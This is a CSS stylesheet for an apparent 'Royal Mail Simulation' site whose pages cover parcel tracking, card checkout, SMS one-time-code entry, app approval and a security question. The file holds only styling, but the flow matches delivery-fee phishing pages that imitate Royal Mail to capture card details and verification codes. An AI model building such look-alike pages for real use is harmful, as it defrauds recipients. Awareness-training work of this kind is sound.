/* ==========================================================================
   Royal Mail Simulation — unified stylesheet
   Covers: track, billing, processing, sms, app, question, success
   ========================================================================== */

/* ---------- Design tokens ---------- */
:root {
  --rm-red:     #d50032;
  --rm-red-dk:  #b6002a;
  --rm-dark:    #252525;
  --rm-pink:    #f8dce4;
  --rm-light:   #f5f5f2;
  --rm-gray:    #666;
  --white:      #fff;
  --line:       #ddd;
  --green:      #217a3b;
  --shadow:     0 8px 28px rgba(0,0,0,.08);
  --shadow-sm:  0 3px 12px rgba(0,0,0,.025);
  --max:        1180px;
  --radius:     3px;
}

/* ---------- Reset / base ---------- */
* { box-sizing: border-box; }

[hidden] { display: none !important; }

html, body {
  margin: 0;
  padding: 0;
  max-width: 100%;
  overflow-x: hidden;
  scroll-behavior: smooth;
}

body {
  color: var(--rm-dark);
  background: var(--rm-light);
  font-family: Arial, Helvetica, sans-serif;
  line-height: 1.45;
  -webkit-font-smoothing: antialiased;
}

a { text-decoration: none; color: inherit; }

button, input, select, textarea { font: inherit; max-width: 100%; }

button { cursor: pointer; }

img, svg { max-width: 100%; }
img { display: block; }

/* ---- Focus rings: NO pink outline anywhere on the site ---- */
a:focus,
a:focus-visible,
button:focus,
button:focus-visible,
input:focus,
input:focus-visible,
select:focus,
select:focus-visible,
textarea:focus,
textarea:focus-visible {
  outline: none;
}

.container {
  width: min(var(--max), calc(100% - 36px));
  margin: auto;
  min-width: 0;
}

/* ==========================================================================
   1. GLOBAL SITE CHROME
   ========================================================================== */

.top {
  background: var(--rm-dark);
  color: #fff;
  font-size: 12px;
}

.top .container {
  display: flex;
  justify-content: flex-end;
  gap: 24px;
  padding: 8px 0;
  flex-wrap: wrap;
}

.nav {
  background: #fff;
  border-bottom: 1px solid var(--line);
  position: sticky;
  top: 0;
  z-index: 20;
}

.nav .container {
  min-height: 72px;
  display: flex;
  align-items: center;
  gap: 30px;
  min-width: 0;
}

.logo {
  font-weight: 900;
  color: var(--rm-red);
  font-size: 27px;
  letter-spacing: -1px;
  flex-shrink: 0;
}

.logo small {
  display: block;
  color: #222;
  font-size: 8px;
  letter-spacing: 1px;
  margin-top: -3px;
}

.links {
  display: flex;
  gap: 23px;
  flex: 1;
  font-weight: 700;
  font-size: 14px;
  min-width: 0;
}

.links a:hover { color: var(--rm-red); }

.nav-actions {
  display: flex;
  gap: 8px;
  align-items: center;
  flex-shrink: 0;
}

/* ==========================================================================
   2. BUTTONS
   ========================================================================== */

.btn {
  border: 0;
  border-radius: var(--radius);
  padding: 13px 19px;
  font-weight: 800;
  display: inline-flex;
  justify-content: center;
  align-items: center;
  gap: 7px;
  transition: background .15s ease, color .15s ease, border-color .15s ease;
  max-width: 100%;
}

.btn.primary          { background: var(--rm-red); color: #fff; }
.btn.primary:hover    { background: var(--rm-red-dk); }

.btn.outline          { background: #fff; border: 1px solid var(--rm-dark); color: var(--rm-dark); }
.btn.outline:hover    { background: var(--rm-dark); color: #fff; }

.btn.dark             { background: var(--rm-dark); color: #fff; }
.btn.dark:hover       { background: #111; }

.btn.pink             { background: var(--rm-pink); color: var(--rm-dark); }
.btn.pink:hover       { background: #f4cbd8; }

.btn[disabled]        { opacity: .6; cursor: not-allowed; }
.btn[disabled]:hover  { opacity: .6; }

/* ==========================================================================
   3. GENERIC PAGE + HEADINGS
   ========================================================================== */

.page { padding: 42px 0 80px; }

.title h1 {
  font-size: 43px;
  margin: 5px 0;
  letter-spacing: -1px;
}

.title p { color: var(--rm-gray); }

.eyebrow {
  color: var(--rm-red);
  font-weight: 900;
  text-transform: uppercase;
  letter-spacing: 1.3px;
  font-size: 12px;
}

.muted { color: var(--rm-gray); }
.hint  { font-size: 12px; color: #777; }

/* ---------- Steps indicator ---------- */
.steps {
  display: flex;
  gap: 0;
  overflow: auto;
  margin: 25px 0;
}

.step {
  font-size: 13px;
  font-weight: 800;
  color: #888;
  white-space: nowrap;
}

.step:not(:last-child)::after {
  content: "→";
  margin: 0 17px;
  color: #aaa;
}

.step.active { color: var(--rm-red); }

.step span {
  display: inline-grid;
  place-items: center;
  width: 27px;
  height: 27px;
  border-radius: 50%;
  border: 1px solid #aaa;
  margin-right: 6px;
}

.step.active span {
  background: var(--rm-red);
  color: #fff;
  border-color: var(--rm-red);
}

/* ==========================================================================
   4. FORMS (generic)
   ========================================================================== */

.field {
  display: flex;
  flex-direction: column;
  gap: 6px;
  margin-bottom: 15px;
  min-width: 0;
}

.field label { font-weight: 800; font-size: 13px; }

.field input,
.field select,
.field textarea {
  border: 1px solid #bbb;
  border-radius: var(--radius);
  padding: 12px;
  background: #fff;
  outline: none;
  min-width: 0;
  max-width: 100%;
  transition: border-color .15s ease, box-shadow .15s ease;
}

.field input:focus,
.field select:focus,
.field textarea:focus {
  border-color: var(--rm-red);
  box-shadow: 0 0 0 3px rgba(213, 0, 50, .12);
}

.form-card {
  background: #fff;
  border: 1px solid var(--line);
  padding: 27px;
  border-radius: var(--radius);
  margin-bottom: 17px;
  min-width: 0;
}

.form-card h2 { margin-top: 0; }

.form-grid {
  display: grid;
  grid-template-columns: repeat(2, minmax(0, 1fr));
  gap: 15px;
}

.form-grid .full { grid-column: 1 / -1; }

.actions {
  display: flex;
  justify-content: space-between;
  gap: 10px;
  margin-top: 20px;
  flex-wrap: wrap;
}

.actions .right { display: flex; gap: 10px; flex-wrap: wrap; }

.notice {
  padding: 13px 15px;
  background: #fff5d7;
  border-left: 4px solid #e0a500;
  font-size: 13px;
}

/* ==========================================================================
   5. GRIDS
   ========================================================================== */

.grid2 { display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); gap: 20px; }
.grid3 { display: grid; grid-template-columns: repeat(3, minmax(0, 1fr)); gap: 18px; }
.grid4 { display: grid; grid-template-columns: repeat(4, minmax(0, 1fr)); gap: 15px; }

/* ==========================================================================
   6. CARDS
   ========================================================================== */

.card {
  background: #fff;
  border: 1px solid var(--line);
  padding: 23px;
  border-radius: var(--radius);
  box-shadow: var(--shadow-sm);
  min-width: 0;
}

.card h3 { margin: 8px 0; }
.card p  { color: var(--rm-gray); }

.summary { position: sticky; top: 95px; }

.row {
  display: flex;
  justify-content: space-between;
  gap: 15px;
  padding: 10px 0;
  min-width: 0;
  flex-wrap: wrap;
}

.row strong { overflow-wrap: anywhere; }

.badge {
  display: inline-flex;
  padding: 5px 8px;
  border-radius: 20px;
  font-size: 11px;
  font-weight: 900;
  text-transform: uppercase;
  letter-spacing: .5px;
}

.badge.red   { background: #f8dce4; color: #a00026; }
.badge.green { background: #e5f4e8; color: #17672b; }
.badge.gray  { background: #eee; color: #555; }

/* ==========================================================================
   7. AUTH LAYOUT (sms, app, question)
   ========================================================================== */

.auth {
  min-height: calc(100vh - 120px);
  display: grid;
  place-items: center;
  padding: 55px 15px;
}

.auth-card {
  width: min(510px, 100%);
  background: #fff;
  padding: 38px;
  border: 1px solid var(--line);
  text-align: center;
  box-shadow: var(--shadow);
  min-width: 0;
}

.auth-logo { margin-bottom: 22px; }
.phone { font-size: 60px; margin: 20px; }

.otp {
  display: flex;
  gap: 8px;
  justify-content: center;
  margin: 23px 0;
  flex-wrap: wrap;
}

.otp input {
  width: 52px;
  height: 60px;
  text-align: center;
  font-size: 25px;
  font-weight: 900;
  border: 1px solid #bbb;
  border-radius: var(--radius);
  background: #fff;
  outline: none;
  max-width: 100%;
  transition: border-color .15s ease, box-shadow .15s ease;
}

.otp input:focus {
  border-color: var(--rm-red);
  box-shadow: 0 0 0 3px rgba(213, 0, 50, .12);
}

.status {
  width: 75px;
  height: 75px;
  border-radius: 50%;
  display: grid;
  place-items: center;
  margin: auto;
  font-size: 36px;
}

.status.success { background: #e5f4e8; color: var(--green); }
.status.fail    { background: #fde8ec; color: #a00026; }

/* ==========================================================================
   8. LOADING
   ========================================================================== */

.spinner {
  width: 56px;
  height: 56px;
  border: 5px solid var(--rm-pink);
  border-top-color: var(--rm-red);
  border-radius: 50%;
  margin: 8px auto 22px;
  animation: spin .9s linear infinite;
}

@keyframes spin { to { transform: rotate(360deg); } }

.dots {
  display: flex;
  gap: 6px;
  justify-content: center;
  margin: 2px 0 18px;
}

.dots span {
  width: 8px;
  height: 8px;
  border-radius: 50%;
  background: #ddd;
  animation: dot 1.2s infinite;
}

.dots span:nth-child(2) { animation-delay: .2s; }
.dots span:nth-child(3) { animation-delay: .4s; }

@keyframes dot {
  0%, 80%, 100% { background: #ddd; transform: scale(1); }
  40%           { background: var(--rm-red); transform: scale(1.3); }
}

/* ==========================================================================
   9. FOOTER
   ========================================================================== */

.footer {
  background: #252525;
  color: #fff;
  padding: 50px 0;
}

.footer-grid {
  display: grid;
  grid-template-columns: 2fr repeat(3, minmax(0, 1fr));
  gap: 30px;
}

.footer h4 { color: #fff; }

.footer a {
  display: block;
  color: #ccc;
  font-size: 13px;
  margin: 8px 0;
}

.footer a:hover { color: #fff; }

.bottom {
  border-top: 1px solid #555;
  margin-top: 28px;
  padding-top: 15px;
  color: #aaa;
  font-size: 12px;
}

/* ==========================================================================
   10. TRACK PAGE
   ========================================================================== */

body.track-page { background: #f4f4f4; }

.track-header {
  background: var(--rm-red);
  color: #fff;
  height: 90px;
  display: flex;
  align-items: center;
  position: relative;
  z-index: 5;
}

.track-header-inner {
  width: 100%;
  max-width: 1400px;
  margin: 0 auto;
  padding: 0 32px;
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 16px;
  min-width: 0;
}

.track-logos {
  display: flex;
  align-items: center;
  gap: 26px;
  min-width: 0;
}

.track-logo-link { display: inline-flex; align-items: center; }

.track-logo-rm { height: 54px; width: auto; }
.track-logo-pf { height: 46px; width: auto; }

.track-header-right {
  display: flex;
  align-items: center;
  gap: 28px;
  flex-shrink: 0;
}

.track-auth {
  color: #fff;
  font-size: 15px;
  font-weight: 500;
  display: flex;
  align-items: center;
  gap: 8px;
  white-space: nowrap;
}

.track-auth a       { color: #fff; }
.track-auth a:hover { text-decoration: underline; }

.track-sep { opacity: .7; }

.track-menu-btn {
  display: inline-flex;
  align-items: center;
  gap: 12px;
  background: #fff;
  color: var(--rm-red);
  border: none;
  border-radius: 6px;
  padding: 12px 20px;
  font-size: 17px;
  font-weight: 700;
  cursor: pointer;
  font-family: inherit;
  flex-shrink: 0;
}

.track-menu-btn:hover { background: #f7f7f7; }

.track-menu-icon {
  display: inline-flex;
  flex-direction: column;
  justify-content: space-between;
  width: 22px;
  height: 16px;
}

.track-menu-icon span {
  display: block;
  height: 3px;
  background: var(--rm-red);
  border-radius: 2px;
}

.track-menu-text { line-height: 1; }

.track-hero {
  position: relative;
  min-height: 82vh;
  display: flex;
  justify-content: center;
  align-items: flex-start;
  padding: 80px 32px;
  overflow: hidden;
}

.track-hero-bg {
  position: absolute;
  inset: 0;
  background-size: cover;
  background-position: center;
  background-repeat: no-repeat;
  z-index: 0;
}

.track-hero-bg::after {
  content: "";
  position: absolute;
  inset: 0;
  background: rgba(0, 0, 0, .05);
}

.track-card {
  position: relative;
  z-index: 1;
  background: #fff;
  width: min(830px, 60vw);
  padding: 50px 60px 42px;
  box-shadow: 0 20px 60px rgba(0, 0, 0, .22);
  min-width: 0;
}

.track-card-title {
  margin: 0 0 36px;
  text-align: center;
  font-size: 34px;
  font-weight: 700;
  color: #222;
  letter-spacing: -.2px;
}

.track-label {
  display: block;
  font-size: 17px;
  font-weight: 700;
  color: #222;
  margin-bottom: 10px;
}

.track-req { color: var(--rm-red); margin-left: 2px; }

.track-input-row { display: flex; align-items: stretch; gap: 0; }

.track-input {
  flex: 1 1 auto;
  min-width: 0;
  height: 62px;
  padding: 0 22px;
  font-size: 20px;
  color: #222;
  border: 1px solid #cfcfcf;
  border-right: none;
  background: #fff;
  outline: none;
  font-family: inherit;
}

.track-input::placeholder { color: #9a9a9a; font-weight: 400; }
.track-input:focus         { border-color: #222; }

.track-btn {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  height: 62px;
  padding: 0 34px;
  background: var(--rm-red);
  color: #fff;
  font-size: 19px;
  font-weight: 700;
  border: none;
  cursor: pointer;
  white-space: nowrap;
  font-family: inherit;
  flex-shrink: 0;
}

.track-btn:hover { background: var(--rm-red-dk); }

.track-form-footer {
  display: flex;
  justify-content: space-between;
  align-items: center;
  margin-top: 30px;
  font-size: 15px;
  gap: 12px;
  flex-wrap: wrap;
}

.track-help { color: #222; text-decoration: underline; }
.track-help:hover { color: var(--rm-red); }

.track-lang {
  display: inline-flex;
  align-items: center;
  gap: 8px;
  color: #222;
  font-size: 15px;
}

.track-flag {
  display: inline-block;
  width: 22px;
  height: 14px;
  background:
    linear-gradient(#000 0 0) top left / 100% 50% no-repeat,
    linear-gradient(#00ab39 0 0) bottom left / 100% 50% no-repeat;
  position: relative;
  border: 1px solid rgba(0, 0, 0, .08);
}

.track-flag::after {
  content: "";
  position: absolute;
  left: 50%; top: 50%;
  width: 6px; height: 6px;
  background: var(--rm-red);
  border-radius: 50%;
  transform: translate(-50%, -50%);
}

/* ==========================================================================
   10b. TRACKING TIMELINE
   ========================================================================== */

.timeline {
  list-style: none;
  margin: 22px 0 0;
  padding: 0;
}

.timeline .event {
  display: grid;
  grid-template-columns: 68px 16px minmax(0, 1fr);
  column-gap: 14px;
  align-items: start;
  padding: 10px 0;
  min-width: 0;
}

.timeline .event > div:first-child {
  display: flex;
  flex-direction: column;
  align-items: flex-end;
  text-align: right;
  line-height: 1.2;
  font-variant-numeric: tabular-nums;
  padding-top: 2px;
}

.timeline .event > div:first-child strong {
  font-size: 13px;
  color: var(--rm-dark);
}

.timeline .event > div:first-child small {
  font-size: 11px;
  color: var(--rm-gray);
}

.timeline .event-dot {
  position: relative;
  width: 12px;
  height: 12px;
  margin: 5px auto 0;
  border-radius: 50%;
  background: var(--rm-red);
  box-shadow: 0 0 0 3px var(--rm-pink);
}

.timeline .event:not(:last-child) .event-dot::after {
  content: "";
  position: absolute;
  top: 12px;
  left: 50%;
  transform: translateX(-50%);
  width: 2px;
  height: calc(100% + 20px);
  background: var(--rm-pink);
}

.timeline .event > div:last-child {
  display: flex;
  flex-direction: column;
  gap: 2px;
  min-width: 0;
}

.timeline .event > div:last-child strong {
  font-size: 14px;
  color: var(--rm-dark);
  overflow-wrap: anywhere;
}

.timeline .event > div:last-child small {
  font-size: 12px;
  color: var(--rm-gray);
}

/* ==========================================================================
   11. ITEM DETAILS CARD (track page summary)
   ========================================================================== */

.summary-head {
  display: flex;
  justify-content: space-between;
  align-items: center;
  gap: 12px;
  margin-bottom: 18px;
  padding-bottom: 18px;
  border-bottom: 1px solid var(--line);
}

.summary-head h3 { margin: 0; font-size: 20px; letter-spacing: -.2px; }
.summary-head .badge { flex-shrink: 0; }

.card.summary .row {
  padding: 12px 0;
  font-size: 14px;
  border-bottom: 1px solid #f0f0f0;
}

.card.summary .row:last-of-type { border-bottom: none; }
.card.summary .row span { color: var(--rm-gray); flex-shrink: 0; }

.card.summary .row strong {
  color: var(--rm-dark);
  font-weight: 800;
  text-align: right;
  overflow-wrap: anywhere;
  min-width: 0;
}

.summary-divider {
  height: 1px;
  background: var(--line);
  margin: 18px 0 20px;
}

.summary-cta {
  width: 100%;
  justify-content: space-between;
  padding: 15px 20px;
  font-size: 15px;
  border-radius: 3px;
}

.summary-cta .cta-arrow {
  font-weight: 900;
  font-size: 17px;
  line-height: 1;
  transform: translateY(-1px);
}

/* ==========================================================================
   12. BILLING / CHECKOUT PAGE
   ========================================================================== */

.checkout {
  display: grid;
  grid-template-columns: minmax(0, 1fr) 360px;
  gap: 28px;
  margin-top: 8px;
  align-items: start;
  min-width: 0;
}

.checkout > *,
.checkout-form,
.checkout-summary,
.panel,
.panel * {
  min-width: 0;
}

/* ---------- Panels ---------- */
.panel {
  background: #fff;
  border: 1px solid #e5e5e5;
  border-radius: 6px;
  padding: 22px 24px;
  margin-bottom: 18px;
  box-shadow: 0 1px 2px rgba(0,0,0,.02);
  max-width: 100%;
}

.panel-head {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding-bottom: 14px;
  margin-bottom: 18px;
  border-bottom: 1px solid #eee;
  gap: 12px;
}

.panel-head h2 {
  margin: 0;
  font-size: 16px;
  font-weight: 800;
  letter-spacing: -.1px;
}

.panel-lock {
  display: inline-flex;
  align-items: center;
  gap: 5px;
  color: var(--green);
  font-size: 12px;
  font-weight: 700;
  flex-shrink: 0;
}

/* ---------- Payment method tabs ---------- */
.pay-methods {
  display: grid;
  grid-template-columns: repeat(3, minmax(0, 1fr));
  gap: 10px;
  margin-bottom: 22px;
}

.pay-method {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  padding: 14px 10px;
  border: 1.5px solid #ddd;
  border-radius: 6px;
  cursor: pointer;
  background: #fff;
  font-size: 14px;
  font-weight: 700;
  color: #555;
  transition: border-color .12s ease, background .12s ease, color .12s ease;
  user-select: none;
  min-width: 0;
  overflow: hidden;
}

.pay-method:hover { border-color: #bbb; color: #222; }

.pay-method input {
  position: absolute;
  opacity: 0;
  pointer-events: none;
}

.pay-method.is-active {
  border-color: var(--rm-red);
  color: var(--rm-red);
  background: #fff7f9;
  box-shadow: 0 0 0 1px var(--rm-red);
}

.pm-icon { font-size: 17px; line-height: 1; flex-shrink: 0; }

.pm-label {
  overflow: hidden;
  text-overflow: ellipsis;
  white-space: nowrap;
  min-width: 0;
}

/* ---------- Compact form fields ---------- */
.checkout-form .field { margin-bottom: 14px; gap: 6px; }

.checkout-form .field label {
  font-size: 12px;
  font-weight: 700;
  color: #333;
  letter-spacing: .1px;
}

.checkout-form .field input,
.checkout-form .field select {
  width: 100%;
  height: 44px;
  padding: 0 12px;
  font-size: 15px;
  border: 1.5px solid #d5d5d5;
  border-radius: 5px;
  background: #fff;
  transition: border-color .12s ease, box-shadow .12s ease;
  -webkit-appearance: none;
  appearance: none;
}

.checkout-form .field input::placeholder { color: #aaa; }

.checkout-form .field input:focus,
.checkout-form .field select:focus {
  border-color: var(--rm-red);
  box-shadow: 0 0 0 3px rgba(213, 0, 50, .10);
  outline: none;
}

.checkout-form .field select {
  background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 24 24' fill='none' stroke='%23666' stroke-width='2.5' stroke-linecap='round' stroke-linejoin='round'><polyline points='6 9 12 15 18 9'/></svg>");
  background-repeat: no-repeat;
  background-position: right 12px center;
  padding-right: 34px;
}

.checkout-form .form-grid {
  display: grid;
  grid-template-columns: repeat(2, minmax(0, 1fr));
  gap: 14px;
}

.checkout-form .form-grid .full { grid-column: 1 / -1; }

.optional { color: #999; font-weight: 400; font-size: 12px; }

/* ---------- Actions row ---------- */
.checkout-actions {
  display: flex;
  justify-content: space-between;
  align-items: center;
  gap: 12px;
  margin-top: 8px;
  margin-bottom: 28px;
  flex-wrap: wrap;
}

.btn-pay {
  padding: 15px 26px;
  font-size: 15px;
  border-radius: 6px;
  gap: 9px;
  box-shadow: 0 4px 12px rgba(213, 0, 50, .20);
  transition: background .15s ease, transform .1s ease;
}

.btn-pay:hover { background: var(--rm-red-dk); }
.btn-pay:active { transform: translateY(1px); }
.btn-pay .lock { display: inline-flex; align-items: center; }

/* ---------- Order summary ---------- */
.checkout-summary .panel.order {
  position: sticky;
  top: 24px;
  padding: 0;
  overflow: hidden;
}

.order-head {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 16px 20px;
  background: linear-gradient(180deg, #fafafa 0%, #f4f4f4 100%);
  border-bottom: 1px solid #eee;
  gap: 10px;
}

.order-head h3 { margin: 0; font-size: 15px; font-weight: 800; letter-spacing: -.1px; }

.order-badge {
  font-size: 10.5px;
  font-weight: 800;
  color: var(--rm-red);
  background: #fff0f4;
  padding: 3px 8px;
  border-radius: 20px;
  text-transform: uppercase;
  letter-spacing: .5px;
  flex-shrink: 0;
}

.order-item {
  display: flex;
  align-items: center;
  gap: 12px;
  padding: 16px 20px;
  border-bottom: 1px solid #f0f0f0;
  background: #fff;
  min-width: 0;
}

.order-item-thumb {
  width: 44px;
  height: 44px;
  border-radius: 6px;
  background: #f0f0f0 url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24' fill='none' stroke='%23d50032' stroke-width='1.8'><path d='M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z'/></svg>") center/22px no-repeat;
  flex-shrink: 0;
  border: 1px solid #e5e5e5;
}

.order-item-info { min-width: 0; flex: 1; }

.order-item-name {
  display: block;
  font-size: 13.5px;
  font-weight: 700;
  color: var(--rm-dark);
  overflow-wrap: anywhere;
}

.order-item-meta {
  display: block;
  font-size: 12px;
  color: #888;
  margin-top: 2px;
}

.order-item-price {
  font-size: 13.5px;
  font-weight: 800;
  color: var(--rm-dark);
  white-space: nowrap;
  flex-shrink: 0;
}

.order-rows { padding: 14px 20px 8px; min-width: 0; }

.order-row {
  display: flex;
  justify-content: space-between;
  align-items: flex-start;
  gap: 12px;
  padding: 7px 0;
  font-size: 13.5px;
  min-width: 0;
}

.order-row span   { color: var(--rm-gray); flex-shrink: 0; }
.order-row strong {
  color: var(--rm-dark);
  font-weight: 700;
  text-align: right;
  overflow-wrap: anywhere;
  min-width: 0;
}

.order-track {
  font-family: ui-monospace, SFMono-Regular, Menlo, monospace;
  font-size: 12px;
  letter-spacing: .2px;
  overflow-wrap: anywhere;
  text-align: right;
}

.order-row.is-green strong { color: var(--green); }

.order-estimate {
  margin: 12px 20px 0;
  padding: 10px 12px;
  background: #f4f9f4;
  border: 1px solid #d8ead8;
  border-radius: 5px;
  display: flex;
  align-items: center;
  gap: 9px;
  font-size: 12.5px;
  color: #2a5d2f;
}

.order-estimate-icon { display: inline-flex; flex-shrink: 0; color: var(--green); }

.order-total {
  margin-top: 16px;
  padding: 14px 20px;
  background: #fafafa;
  border-top: 1px solid #eee;
  border-bottom: 1px solid #eee;
  display: flex;
  justify-content: space-between;
  align-items: baseline;
  gap: 10px;
  min-width: 0;
}

.order-total-label {
  font-size: 13px;
  font-weight: 800;
  color: var(--rm-dark);
  text-transform: uppercase;
  letter-spacing: .6px;
  min-width: 0;
}

.order-total-amount {
  font-size: 22px;
  font-weight: 900;
  color: var(--rm-dark);
  letter-spacing: -.4px;
  white-space: nowrap;
  flex-shrink: 0;
}

.order-total-vat {
  font-size: 11.5px;
  color: #888;
  padding: 0 20px 4px;
  margin-top: -12px;
  text-align: right;
}

.order-secure {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 7px;
  padding: 14px 20px;
  background: #fbfbfb;
  color: #777;
  font-size: 11.5px;
  border-top: 1px solid #f0f0f0;
  text-align: center;
  flex-wrap: wrap;
}

.order-secure .lock { color: var(--green); display: inline-flex; flex-shrink: 0; }

/* ---------- Alert / decline banner ---------- */
.alert {
  position: relative;
  border-radius: 6px;
  padding: 14px 40px 14px 16px;
  margin-bottom: 18px;
  display: flex;
  flex-direction: column;
  gap: 3px;
  min-width: 0;
}

.alert strong { font-size: 15px; }

.alert p {
  margin: 0;
  font-size: 13.5px;
  color: #666;
}

.alert-error {
  background: #fff5f5;
  border: 1px solid #f3d1d1;
  border-left: 4px solid #c0392b;
}

.alert-error strong { color: #c0392b; }

.alert-close {
  position: absolute;
  top: 8px;
  right: 10px;
  background: transparent;
  border: none;
  color: #c0392b;
  font-size: 14px;
  font-weight: 900;
  cursor: pointer;
  line-height: 1;
  padding: 4px 6px;
  border-radius: 4px;
}

.alert-close:hover { background: rgba(192, 57, 43, .08); }

/* ==========================================================================
   13. RESPONSIVE
   ========================================================================== */

/* ---------- Tablet (≤ 980px) ---------- */
@media (max-width: 980px) {
  .links { display: none; }

  .grid2, .grid3, .grid4 { grid-template-columns: 1fr; }

  .form-grid { grid-template-columns: 1fr; }

  .summary { position: static; }

  .footer-grid { grid-template-columns: 1fr 1fr; }

  .checkout {
    display: block;
    grid-template-columns: 1fr;
    gap: 20px;
  }

  .checkout-summary {
    display: block;
    margin-bottom: 22px;
  }

  .checkout-summary .panel.order { position: static; }
}

/* ---------- Phone (≤ 720px) ---------- */
@media (max-width: 720px) {
  .track-header { height: auto; min-height: 64px; padding: 10px 0; }
  .track-header-inner { padding: 0 16px; flex-wrap: nowrap; gap: 12px; }
  .track-logos { gap: 12px; min-width: 0; flex: 1; }
  .track-logo-rm { height: 36px; }
  .track-logo-pf { height: 30px; }
  .track-header-right { gap: 10px; flex-shrink: 0; }
  .track-auth { display: none; }

  .track-menu-btn { padding: 8px 12px; font-size: 14px; gap: 8px; }
  .track-menu-icon { width: 18px; height: 13px; }
  .track-menu-icon span { height: 2.5px; }

  .track-hero { min-height: auto; padding: 24px 16px 40px; align-items: flex-start; }
  .track-hero-bg { background-position: center 25%; }

  .track-card {
    width: 100%;
    max-width: 100%;
    padding: 32px 22px 28px;
    box-shadow: 0 12px 30px rgba(0, 0, 0, .18);
    border-radius: 2px;
  }

  .track-card-title { font-size: 26px; margin: 0 0 26px; letter-spacing: -.3px; }

  .track-label { font-size: 15px; margin-bottom: 8px; }
  .track-input-row { flex-direction: column; gap: 12px; }

  .track-input {
    height: 56px;
    font-size: 17px;
    padding: 0 16px;
    border: 1px solid #cfcfcf;
    border-radius: 2px;
  }

  .track-btn {
    width: 100%;
    height: 56px;
    font-size: 17px;
    padding: 0 18px;
    border-radius: 2px;
  }

  .track-form-footer {
    flex-direction: column;
    gap: 16px;
    align-items: flex-start;
    margin-top: 24px;
    font-size: 14px;
  }

  .track-help, .track-lang { font-size: 14px; }

  .timeline .event {
    grid-template-columns: 56px 14px minmax(0, 1fr);
    column-gap: 10px;
  }
  .timeline .event > div:first-child strong { font-size: 12px; }
  .timeline .event > div:first-child small  { font-size: 10px; }
  .timeline .event > div:last-child strong  { font-size: 13.5px; }
  .timeline .event > div:last-child small   { font-size: 11.5px; }

  .checkout-form .form-grid {
    grid-template-columns: 1fr;
    gap: 12px;
  }

  .pay-methods {
    grid-template-columns: 1fr;
    gap: 8px;
  }

  .pay-method {
    flex-direction: row;
    justify-content: flex-start;
    padding: 12px 14px;
    gap: 10px;
    font-size: 14px;
  }

  .pm-icon { font-size: 17px; }
}

/* ---------- Small phone (≤ 600px) ---------- */
@media (max-width: 600px) {
  .container { width: calc(100% - 24px); }

  .top { display: none; }
  .nav .container { min-height: 60px; }
  .nav-actions .outline { display: none; }

  .title h1 { font-size: 32px; }

  .form-grid { grid-template-columns: 1fr; }

  .actions, .actions .right { flex-direction: column; }
  .actions .btn { width: 100%; }

  .otp input { width: 42px; height: 54px; }

  .footer-grid { grid-template-columns: 1fr; }

  .checkout-actions { flex-direction: column-reverse; align-items: stretch; gap: 10px; }
  .checkout-actions .btn { width: 100%; justify-content: center; }
}

/* ---------- Very small (≤ 480px) ---------- */
@media (max-width: 480px) {
  .panel { padding: 18px 16px; border-radius: 5px; margin-bottom: 14px; }
  .panel-head { padding-bottom: 12px; margin-bottom: 14px; }
  .panel-head h2 { font-size: 15px; }

  .checkout-form .field input,
  .checkout-form .field select {
    height: 42px;
    font-size: 14px;
  }

  .checkout-form .field label { font-size: 11.5px; }

  .order-head,
  .order-item,
  .order-rows,
  .order-total,
  .order-secure {
    padding-left: 16px;
    padding-right: 16px;
  }

  .order-total-vat { padding-left: 16px; padding-right: 16px; }
  .order-estimate { margin-left: 16px; margin-right: 16px; }
  .order-total-amount { font-size: 20px; }

  .btn-pay {
    padding: 16px 20px;
    font-size: 16px;
    border-radius: 6px;
  }
}

@media (max-width: 380px) {
  .track-logo-rm { height: 30px; }
  .track-logo-pf { height: 24px; }
  .track-menu-text { display: none; }
  .track-card { padding: 26px 18px 22px; }
  .track-card-title { font-size: 22px; }
}

/* ---------- Reduced motion ---------- */
@media (prefers-reduced-motion: reduce) {
  .spinner, .dots span { animation: none; }
}

/* ==========================================================================
   7b. SMS VERIFICATION PAGE
   ========================================================================== */

.sms-page { background: #f4f4f4; }

.sms-card {
  text-align: center;
  padding: 44px 38px 36px;
}

.sms-shield {
  width: 52px;
  height: 52px;
  border-radius: 50%;
  background: var(--rm-pink);
  color: var(--rm-red);
  display: inline-flex;
  align-items: center;
  justify-content: center;
  margin: 0 auto 18px;
}

.sms-title {
  font-size: 34px;
  margin: 6px 0 10px;
  letter-spacing: -.6px;
  line-height: 1.15;
}

.sms-lead {
  margin: 0 0 6px;
  font-size: 14.5px;
}

.sms-phone {
  display: inline-flex;
  align-items: center;
  gap: 8px;
  font-size: 17px;
  font-weight: 700;
  color: var(--rm-dark);
  margin: 6px 0 28px;
  padding: 8px 14px;
  background: #fafafa;
  border: 1px solid var(--line);
  border-radius: 999px;
}

.sms-phone-prefix { color: var(--rm-gray); font-weight: 600; }
.sms-phone-digits strong { color: var(--rm-dark); letter-spacing: .5px; }

.otp {
  display: flex;
  flex-wrap: nowrap;
  justify-content: center;
  gap: 10px;
  margin: 8px 0 24px;
}

.otp input {
  flex: 1 1 0;
  min-width: 0;
  max-width: 60px;
  height: 62px;
  text-align: center;
  font-size: 24px;
  font-weight: 900;
  border: 1.5px solid #cfcfcf;
  border-radius: 6px;
  background: #fff;
  outline: none;
  color: var(--rm-dark);
  transition: border-color .12s ease, box-shadow .12s ease, transform .08s ease;
  padding: 0;
}

.otp input:hover { border-color: #bbb; }

.otp input:focus {
  border-color: var(--rm-red);
  box-shadow: 0 0 0 3px rgba(213, 0, 50, .14);
}

.otp input.is-filled {
  border-color: var(--rm-dark);
  background: #fafafa;
}

.sms-btn {
  width: 100%;
  padding: 16px 20px;
  font-size: 16px;
  border-radius: 6px;
  position: relative;
  transition: background .15s ease, transform .08s ease;
}

.sms-btn:active { transform: translateY(1px); }

.sms-btn.is-loading {
